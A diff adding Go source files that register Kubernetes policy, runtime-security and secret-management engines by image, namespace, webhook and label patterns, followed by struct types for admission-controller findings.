CRDGroups: []string{"capsule.clastix.io"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager", "app=capsule"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Rancher - Project-level pod security policies
|
||||
r.register(&Engine{
|
||||
ID: "rancher",
|
||||
Name: "Rancher",
|
||||
Category: CategoryPod,
|
||||
TrustedRegistries: []string{
|
||||
"rancher/",
|
||||
"docker.io/rancher/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"rancher/rancher",
|
||||
"rancher/rancher-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"rancher"},
|
||||
ExpectedNamespaces: []string{"cattle-system", "rancher"},
|
||||
WebhookPatterns: []string{"rancher-webhook"},
|
||||
CRDGroups: []string{"management.cattle.io", "project.cattle.io"},
|
||||
LabelSelectors: []string{"app=rancher"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,408 @@
|
||||
package admission
|
||||
|
||||
// registerRuntimeEngines registers all runtime security engines
|
||||
func (r *EngineRegistry) registerRuntimeEngines() {
|
||||
// Falco
|
||||
r.register(&Engine{
|
||||
ID: "falco",
|
||||
Name: "Falco",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/falcosecurity/",
|
||||
"falcosecurity/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"falcosecurity/falco",
|
||||
"falco-no-driver",
|
||||
"falco",
|
||||
},
|
||||
DeploymentPatterns: []string{"falco"},
|
||||
ExpectedNamespaces: []string{"falco", "falco-system", "security", "kube-system"},
|
||||
LabelSelectors: []string{"app=falco", "app.kubernetes.io/name=falco"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Tetragon (Cilium)
|
||||
r.register(&Engine{
|
||||
ID: "tetragon",
|
||||
Name: "Tetragon",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/cilium/",
|
||||
"docker.io/cilium/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"cilium/tetragon",
|
||||
"tetragon",
|
||||
},
|
||||
DeploymentPatterns: []string{"tetragon"},
|
||||
ExpectedNamespaces: []string{"kube-system", "tetragon", "cilium"},
|
||||
CRDGroups: []string{"cilium.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=tetragon"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Tracee (Aqua)
|
||||
r.register(&Engine{
|
||||
ID: "tracee",
|
||||
Name: "Tracee",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/aquasec/",
|
||||
"aquasec/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aquasec/tracee",
|
||||
"tracee",
|
||||
},
|
||||
DeploymentPatterns: []string{"tracee"},
|
||||
ExpectedNamespaces: []string{"tracee", "tracee-system", "aqua", "kube-system"},
|
||||
LabelSelectors: []string{"app=tracee", "app.kubernetes.io/name=tracee"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// KubeArmor
|
||||
r.register(&Engine{
|
||||
ID: "kubearmor",
|
||||
Name: "KubeArmor",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"kubearmor/",
|
||||
"docker.io/kubearmor/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kubearmor/kubearmor",
|
||||
"kubearmor",
|
||||
},
|
||||
DeploymentPatterns: []string{"kubearmor"},
|
||||
ExpectedNamespaces: []string{"kubearmor", "kube-system"},
|
||||
CRDGroups: []string{"security.kubearmor.com"},
|
||||
LabelSelectors: []string{"kubearmor-app=kubearmor"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Security Profiles Operator
|
||||
r.register(&Engine{
|
||||
ID: "spo",
|
||||
Name: "Security Profiles Operator",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"registry.k8s.io/",
|
||||
"k8s.gcr.io/",
|
||||
"gcr.io/k8s-staging-sp-operator/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"security-profiles-operator",
|
||||
"seccomp-operator",
|
||||
},
|
||||
DeploymentPatterns: []string{"security-profiles-operator", "seccomp-operator"},
|
||||
ExpectedNamespaces: []string{"security-profiles-operator", "kube-system"},
|
||||
CRDGroups: []string{"security-profiles-operator.x-k8s.io"},
|
||||
LabelSelectors: []string{"app=security-profiles-operator"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kubescape Runtime
|
||||
r.register(&Engine{
|
||||
ID: "kubescape",
|
||||
Name: "Kubescape",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/kubescape/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kubescape/kubescape",
|
||||
"kubescape/operator",
|
||||
},
|
||||
DeploymentPatterns: []string{"kubescape", "kubescape-operator"},
|
||||
ExpectedNamespaces: []string{"kubescape", "armo-system"},
|
||||
CRDGroups: []string{"spdx.softwarecomposition.kubescape.io"},
|
||||
LabelSelectors: []string{"app=kubescape"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Deepfence ThreatMapper
|
||||
r.register(&Engine{
|
||||
ID: "deepfence",
|
||||
Name: "Deepfence ThreatMapper",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/deepfenceio/",
|
||||
"deepfenceio/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"deepfenceio/deepfence_agent",
|
||||
"deepfence",
|
||||
},
|
||||
DeploymentPatterns: []string{"deepfence-agent"},
|
||||
ExpectedNamespaces: []string{"deepfence", "kube-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// CrowdStrike Falcon
|
||||
r.register(&Engine{
|
||||
ID: "crowdstrike",
|
||||
Name: "CrowdStrike Falcon",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"registry.crowdstrike.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"falcon-sensor",
|
||||
"falcon-container",
|
||||
},
|
||||
DeploymentPatterns: []string{"falcon-sensor"},
|
||||
ExpectedNamespaces: []string{"falcon-system", "crowdstrike"},
|
||||
CRDGroups: []string{"falcon.crowdstrike.com"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// CNAPP Platforms with Runtime Security Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// Aqua Security - Runtime protection and enforcement
|
||||
r.register(&Engine{
|
||||
ID: "aqua",
|
||||
Name: "Aqua Security",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"aquasec/",
|
||||
"registry.aquasec.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aquasec/enforcer",
|
||||
"aquasec/kube-enforcer",
|
||||
"aquasec/aqua-scanner",
|
||||
},
|
||||
DeploymentPatterns: []string{"aqua-enforcer", "aqua-kube-enforcer"},
|
||||
ExpectedNamespaces: []string{"aqua", "aqua-security"},
|
||||
LabelSelectors: []string{"app=aqua-enforcer"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Prisma Cloud - Runtime protection
|
||||
r.register(&Engine{
|
||||
ID: "prisma",
|
||||
Name: "Prisma Cloud",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"registry.twistlock.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"twistlock/defender",
|
||||
"twistlock/console",
|
||||
},
|
||||
DeploymentPatterns: []string{"twistlock-defender", "twistlock-console"},
|
||||
ExpectedNamespaces: []string{"twistlock", "prisma-cloud"},
|
||||
LabelSelectors: []string{"app=twistlock-defender"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Sysdig Secure - Runtime detection and response
|
||||
r.register(&Engine{
|
||||
ID: "sysdig",
|
||||
Name: "Sysdig Secure",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/sysdig/",
|
||||
"sysdig/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"sysdig/agent",
|
||||
"sysdig/node-analyzer",
|
||||
"sysdig/workload-agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"sysdig-agent"},
|
||||
ExpectedNamespaces: []string{"sysdig", "sysdig-agent"},
|
||||
LabelSelectors: []string{"app=sysdig-agent", "app.kubernetes.io/name=sysdig"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// StackRox/RHACS - Runtime security
|
||||
r.register(&Engine{
|
||||
ID: "stackrox",
|
||||
Name: "StackRox/RHACS",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/stackrox-io/",
|
||||
"registry.redhat.io/advanced-cluster-security/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"stackrox/main",
|
||||
"stackrox/collector",
|
||||
"rhacs/main",
|
||||
"rhacs/collector",
|
||||
},
|
||||
DeploymentPatterns: []string{"central", "sensor", "collector"},
|
||||
ExpectedNamespaces: []string{"stackrox", "rhacs-operator"},
|
||||
CRDGroups: []string{"platform.stackrox.io"},
|
||||
LabelSelectors: []string{"app=central", "app=sensor", "app=collector"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NeuVector - Runtime protection
|
||||
r.register(&Engine{
|
||||
ID: "neuvector",
|
||||
Name: "NeuVector",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"neuvector/",
|
||||
"docker.io/neuvector/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"neuvector/enforcer",
|
||||
"neuvector/controller",
|
||||
"neuvector/scanner",
|
||||
},
|
||||
DeploymentPatterns: []string{"neuvector-controller-pod", "neuvector-enforcer-pod"},
|
||||
ExpectedNamespaces: []string{"neuvector", "cattle-neuvector-system"},
|
||||
CRDGroups: []string{"neuvector.com"},
|
||||
LabelSelectors: []string{"app=neuvector-controller-pod", "app=neuvector-enforcer-pod"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Wiz Runtime Sensor
|
||||
r.register(&Engine{
|
||||
ID: "wiz",
|
||||
Name: "Wiz",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"wizio/",
|
||||
"wiziopublic.azurecr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"wiz-sensor",
|
||||
"wiz-kubernetes-connector",
|
||||
},
|
||||
DeploymentPatterns: []string{"wiz-sensor", "wiz-kubernetes-connector"},
|
||||
ExpectedNamespaces: []string{"wiz", "kube-system"},
|
||||
LabelSelectors: []string{"app=wiz-sensor"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Lacework - Runtime anomaly detection
|
||||
r.register(&Engine{
|
||||
ID: "lacework",
|
||||
Name: "Lacework",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"lacework/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"lacework/datacollector",
|
||||
"lacework/k8s-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"lacework-agent"},
|
||||
ExpectedNamespaces: []string{"lacework", "kube-system"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=lacework-agent"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Cloud-Specific Runtime Environments
|
||||
// =============================================================================
|
||||
|
||||
// AWS Bottlerocket
|
||||
r.register(&Engine{
|
||||
ID: "aws-bottlerocket",
|
||||
Name: "AWS Bottlerocket",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"public.ecr.aws/bottlerocket/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"bottlerocket-update-operator",
|
||||
"bottlerocket-control-container",
|
||||
},
|
||||
DeploymentPatterns: []string{"bottlerocket-update-operator"},
|
||||
ExpectedNamespaces: []string{"brupop-bottlerocket-aws", "kube-system"},
|
||||
CRDGroups: []string{"brupop.bottlerocket.aws"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=brupop"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// AWS Firecracker (via RuntimeClass)
|
||||
r.register(&Engine{
|
||||
ID: "aws-firecracker",
|
||||
Name: "AWS Firecracker",
|
||||
Category: CategoryRuntime,
|
||||
ImagePatterns: []string{
|
||||
"firecracker-containerd",
|
||||
"aws-firecracker",
|
||||
},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// GKE Sandbox (gVisor)
|
||||
r.register(&Engine{
|
||||
ID: "gke-sandbox",
|
||||
Name: "GKE Sandbox (gVisor)",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"gke.gcr.io/",
|
||||
"gcr.io/gke-release/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"gvisor-runsc",
|
||||
"gke-sandbox",
|
||||
"gvisor",
|
||||
},
|
||||
ExpectedNamespaces: []string{"kube-system", "gke-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure Kata Containers
|
||||
r.register(&Engine{
|
||||
ID: "azure-kata",
|
||||
Name: "Azure Kata Containers",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kata-runtime",
|
||||
"kata-agent",
|
||||
"kata-containers",
|
||||
},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure Confidential Containers
|
||||
r.register(&Engine{
|
||||
ID: "azure-confidential",
|
||||
Name: "Azure Confidential Containers",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aci-cc",
|
||||
"confidential-containers",
|
||||
"cc-operator",
|
||||
},
|
||||
DeploymentPatterns: []string{"cc-operator-controller-manager"},
|
||||
ExpectedNamespaces: []string{"confidential-containers-system"},
|
||||
CRDGroups: []string{"confidentialcontainers.org"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kata Containers (generic)
|
||||
r.register(&Engine{
|
||||
ID: "kata-containers",
|
||||
Name: "Kata Containers",
|
||||
Category: CategoryRuntime,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/kata-containers/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kata-deploy",
|
||||
"kata-runtime",
|
||||
},
|
||||
DeploymentPatterns: []string{"kata-deploy"},
|
||||
ExpectedNamespaces: []string{"kube-system", "kata-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,354 @@
|
||||
package admission
|
||||
|
||||
// registerSecretEngines registers all secret management engines
|
||||
func (r *EngineRegistry) registerSecretEngines() {
|
||||
// HashiCorp Vault Agent Injector
|
||||
r.register(&Engine{
|
||||
ID: "vault-injector",
|
||||
Name: "Vault Agent Injector",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"hashicorp/",
|
||||
"docker.io/hashicorp/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"hashicorp/vault-k8s",
|
||||
"vault-k8s",
|
||||
"vault-agent-injector",
|
||||
},
|
||||
DeploymentPatterns: []string{"vault-agent-injector"},
|
||||
ExpectedNamespaces: []string{"vault", "hashicorp", "kube-system"},
|
||||
WebhookPatterns: []string{"vault-agent-injector"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=vault-agent-injector", "component=webhook"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// HashiCorp Vault CSI Provider
|
||||
r.register(&Engine{
|
||||
ID: "vault-csi",
|
||||
Name: "Vault CSI Provider",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"hashicorp/",
|
||||
"docker.io/hashicorp/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"hashicorp/vault-csi-provider",
|
||||
"vault-csi-provider",
|
||||
},
|
||||
DeploymentPatterns: []string{"vault-csi-provider"},
|
||||
ExpectedNamespaces: []string{"vault", "hashicorp", "kube-system"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=vault-csi-provider"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// HashiCorp Vault Operator (Bank-Vaults)
|
||||
r.register(&Engine{
|
||||
ID: "vault-operator",
|
||||
Name: "Vault Operator",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"hashicorp/",
|
||||
"ghcr.io/bank-vaults/",
|
||||
"banzaicloud/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"hashicorp/vault",
|
||||
"bank-vaults/vault-operator",
|
||||
"banzaicloud/vault-operator",
|
||||
"vault-operator",
|
||||
},
|
||||
DeploymentPatterns: []string{"vault-operator", "vault"},
|
||||
ExpectedNamespaces: []string{"vault", "vault-system", "hashicorp", "kube-system"},
|
||||
CRDGroups: []string{"vault.banzaicloud.com"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=vault-operator", "app=vault"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// External Secrets Operator
|
||||
r.register(&Engine{
|
||||
ID: "external-secrets",
|
||||
Name: "External Secrets Operator",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/external-secrets/",
|
||||
"docker.io/external-secrets/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"external-secrets/external-secrets",
|
||||
"external-secrets",
|
||||
},
|
||||
DeploymentPatterns: []string{"external-secrets", "external-secrets-webhook", "external-secrets-cert-controller"},
|
||||
ExpectedNamespaces: []string{"external-secrets", "kube-system"},
|
||||
WebhookPatterns: []string{"external-secrets-webhook"},
|
||||
CRDGroups: []string{"external-secrets.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=external-secrets", "app=external-secrets"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Sealed Secrets
|
||||
r.register(&Engine{
|
||||
ID: "sealed-secrets",
|
||||
Name: "Sealed Secrets",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"bitnami/",
|
||||
"docker.io/bitnami/",
|
||||
"quay.io/bitnami/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"bitnami/sealed-secrets-controller",
|
||||
"sealed-secrets-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"sealed-secrets-controller", "sealed-secrets"},
|
||||
ExpectedNamespaces: []string{"kube-system", "sealed-secrets"},
|
||||
CRDGroups: []string{"bitnami.com"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=sealed-secrets", "name=sealed-secrets-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// AWS Secrets Manager CSI Driver
|
||||
r.register(&Engine{
|
||||
ID: "aws-secrets-csi",
|
||||
Name: "AWS Secrets CSI Driver",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"public.ecr.aws/",
|
||||
"amazon/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"secrets-store-csi-driver-provider-aws",
|
||||
"aws-secrets-manager",
|
||||
},
|
||||
DeploymentPatterns: []string{"secrets-store-csi-driver-provider-aws"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
LabelSelectors: []string{"app=secrets-store-csi-driver-provider-aws"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure Key Vault CSI Driver
|
||||
r.register(&Engine{
|
||||
ID: "azure-keyvault-csi",
|
||||
Name: "Azure Key Vault CSI Driver",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aks/keyvault/",
|
||||
"azure-keyvault-secrets-provider",
|
||||
"csi-secrets-store-provider-azure",
|
||||
},
|
||||
DeploymentPatterns: []string{"csi-secrets-store-provider-azure"},
|
||||
ExpectedNamespaces: []string{"kube-system", "azure-keyvault-secrets-provider"},
|
||||
LabelSelectors: []string{"app=csi-secrets-store-provider-azure"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// GCP Secret Manager CSI Driver
|
||||
r.register(&Engine{
|
||||
ID: "gcp-secrets-csi",
|
||||
Name: "GCP Secret Manager CSI Driver",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/",
|
||||
"us-docker.pkg.dev/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"secrets-store-csi-driver-provider-gcp",
|
||||
"gcp-secrets-store-csi-driver-provider",
|
||||
},
|
||||
DeploymentPatterns: []string{"secrets-store-csi-driver-provider-gcp"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
LabelSelectors: []string{"app=secrets-store-csi-driver-provider-gcp"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Secrets Store CSI Driver (base)
|
||||
r.register(&Engine{
|
||||
ID: "secrets-store-csi",
|
||||
Name: "Secrets Store CSI Driver",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"registry.k8s.io/",
|
||||
"k8s.gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"csi-secrets-store/driver",
|
||||
"secrets-store-csi-driver",
|
||||
},
|
||||
DeploymentPatterns: []string{"secrets-store-csi-driver"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
CRDGroups: []string{"secrets-store.csi.x-k8s.io"},
|
||||
LabelSelectors: []string{"app=secrets-store-csi-driver"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Akeyless Secrets Injection
|
||||
r.register(&Engine{
|
||||
ID: "akeyless",
|
||||
Name: "Akeyless",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"akeyless/",
|
||||
"docker.io/akeyless/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"akeyless/k8s-secrets-injection",
|
||||
"akeyless-secrets-injection",
|
||||
},
|
||||
DeploymentPatterns: []string{"akeyless-secrets-injection"},
|
||||
ExpectedNamespaces: []string{"akeyless", "kube-system"},
|
||||
WebhookPatterns: []string{"akeyless"},
|
||||
LabelSelectors: []string{"app=akeyless-secrets-injection"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// CyberArk Conjur
|
||||
r.register(&Engine{
|
||||
ID: "conjur",
|
||||
Name: "CyberArk Conjur",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"cyberark/",
|
||||
"docker.io/cyberark/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"cyberark/secrets-provider-for-k8s",
|
||||
"conjur-authn-k8s-client",
|
||||
"secrets-provider-for-k8s",
|
||||
},
|
||||
DeploymentPatterns: []string{"conjur-follower"},
|
||||
ExpectedNamespaces: []string{"conjur", "cyberark", "kube-system"},
|
||||
LabelSelectors: []string{"app=conjur-follower"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// SOPS
|
||||
r.register(&Engine{
|
||||
ID: "sops",
|
||||
Name: "SOPS",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"mozilla/",
|
||||
"ghcr.io/getsops/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"sops",
|
||||
"getsops/sops",
|
||||
},
|
||||
DeploymentPatterns: []string{"sops-secrets-operator"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
CRDGroups: []string{"isindir.github.com"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Infisical
|
||||
r.register(&Engine{
|
||||
ID: "infisical",
|
||||
Name: "Infisical",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"infisical/",
|
||||
"docker.io/infisical/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"infisical/kubernetes-operator",
|
||||
"infisical-secrets-operator",
|
||||
},
|
||||
DeploymentPatterns: []string{"infisical-secrets-operator"},
|
||||
ExpectedNamespaces: []string{"infisical", "kube-system"},
|
||||
CRDGroups: []string{"secrets.infisical.com"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=infisical-secrets-operator"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Doppler
|
||||
r.register(&Engine{
|
||||
ID: "doppler",
|
||||
Name: "Doppler",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"dopplerhq/",
|
||||
"docker.io/dopplerhq/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"dopplerhq/kubernetes-operator",
|
||||
"doppler-kubernetes-operator",
|
||||
},
|
||||
DeploymentPatterns: []string{"doppler-operator"},
|
||||
ExpectedNamespaces: []string{"doppler-operator-system", "kube-system"},
|
||||
CRDGroups: []string{"secrets.doppler.com"},
|
||||
LabelSelectors: []string{"control-plane=doppler-operator"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Policy Engines with Secret Policy Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// OPA Gatekeeper - Can enforce constraints on Secret resources
|
||||
r.register(&Engine{
|
||||
ID: "gatekeeper",
|
||||
Name: "OPA Gatekeeper",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"openpolicyagent/",
|
||||
"quay.io/gatekeeper/",
|
||||
"docker.io/openpolicyagent/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"openpolicyagent/gatekeeper",
|
||||
"gatekeeper",
|
||||
},
|
||||
DeploymentPatterns: []string{"gatekeeper-controller-manager", "gatekeeper-audit"},
|
||||
ExpectedNamespaces: []string{"gatekeeper-system", "kube-system"},
|
||||
WebhookPatterns: []string{"gatekeeper-validating", "gatekeeper-mutating"},
|
||||
CRDGroups: []string{"constraints.gatekeeper.sh", "templates.gatekeeper.sh"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager", "gatekeeper.sh/system=yes"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kyverno - Can validate/mutate Secret resources
|
||||
r.register(&Engine{
|
||||
ID: "kyverno",
|
||||
Name: "Kyverno",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kyverno/",
|
||||
"nirmata/",
|
||||
"docker.io/nirmata/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kyverno/kyverno",
|
||||
"kyverno",
|
||||
"nirmata/kyverno",
|
||||
},
|
||||
DeploymentPatterns: []string{"kyverno", "kyverno-admission-controller"},
|
||||
ExpectedNamespaces: []string{"kyverno", "kube-system"},
|
||||
WebhookPatterns: []string{"kyverno-resource-validating", "kyverno-resource-mutating"},
|
||||
CRDGroups: []string{"kyverno.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=kyverno", "app=kyverno"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kubewarden - Can enforce policies on Secret resources
|
||||
r.register(&Engine{
|
||||
ID: "kubewarden",
|
||||
Name: "Kubewarden",
|
||||
Category: CategorySecret,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kubewarden/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kubewarden/policy-server",
|
||||
"kubewarden/kubewarden-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"kubewarden-controller", "policy-server"},
|
||||
ExpectedNamespaces: []string{"kubewarden", "kubewarden-system"},
|
||||
WebhookPatterns: []string{"kubewarden"},
|
||||
CRDGroups: []string{"policies.kubewarden.io"},
|
||||
LabelSelectors: []string{"app=kubewarden-policy-server", "app.kubernetes.io/name=kubewarden-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,227 @@
|
||||
package admission
|
||||
|
||||
// BaseFinding contains common fields for all admission findings
|
||||
type BaseFinding struct {
|
||||
Namespace string
|
||||
EngineID string
|
||||
EngineName string
|
||||
Category EngineCategory
|
||||
Status string // "active", "degraded", "not_found"
|
||||
PodsRunning int
|
||||
TotalPods int
|
||||
ImageVerified bool
|
||||
Confidence string // "high", "medium", "low"
|
||||
RiskLevel string // "HIGH", "MEDIUM", "LOW", "NONE"
|
||||
SecurityIssues []string
|
||||
BypassVectors []string
|
||||
BypassRisk string
|
||||
}
|
||||
|
||||
// ControllerFinding represents a detected admission controller
|
||||
type ControllerFinding struct {
|
||||
BaseFinding
|
||||
ResourceName string
|
||||
ResourceKind string // Deployment, DaemonSet, StatefulSet
|
||||
Images []string
|
||||
Labels map[string]string
|
||||
Version string
|
||||
}
|
||||
|
||||
// WebhookFinding represents a detected webhook configuration
|
||||
type WebhookFinding struct {
|
||||
BaseFinding
|
||||
WebhookName string
|
||||
WebhookType string // "validating", "mutating"
|
||||
ServiceName string
|
||||
ServiceNS string
|
||||
FailurePolicy string
|
||||
MatchPolicy string
|
||||
Rules []WebhookRule
|
||||
}
|
||||
|
||||
// PolicyFinding represents a detected policy (constraint, CRD, etc.)
|
||||
type PolicyFinding struct {
|
||||
BaseFinding
|
||||
PolicyName string
|
||||
PolicyType string // e.g., "ConstraintTemplate", "ClusterPolicy", "KubeArmorPolicy"
|
||||
Scope string // "cluster", "namespace"
|
||||
TargetNamespace string // if namespace-scoped
|
||||
Enforced bool
|
||||
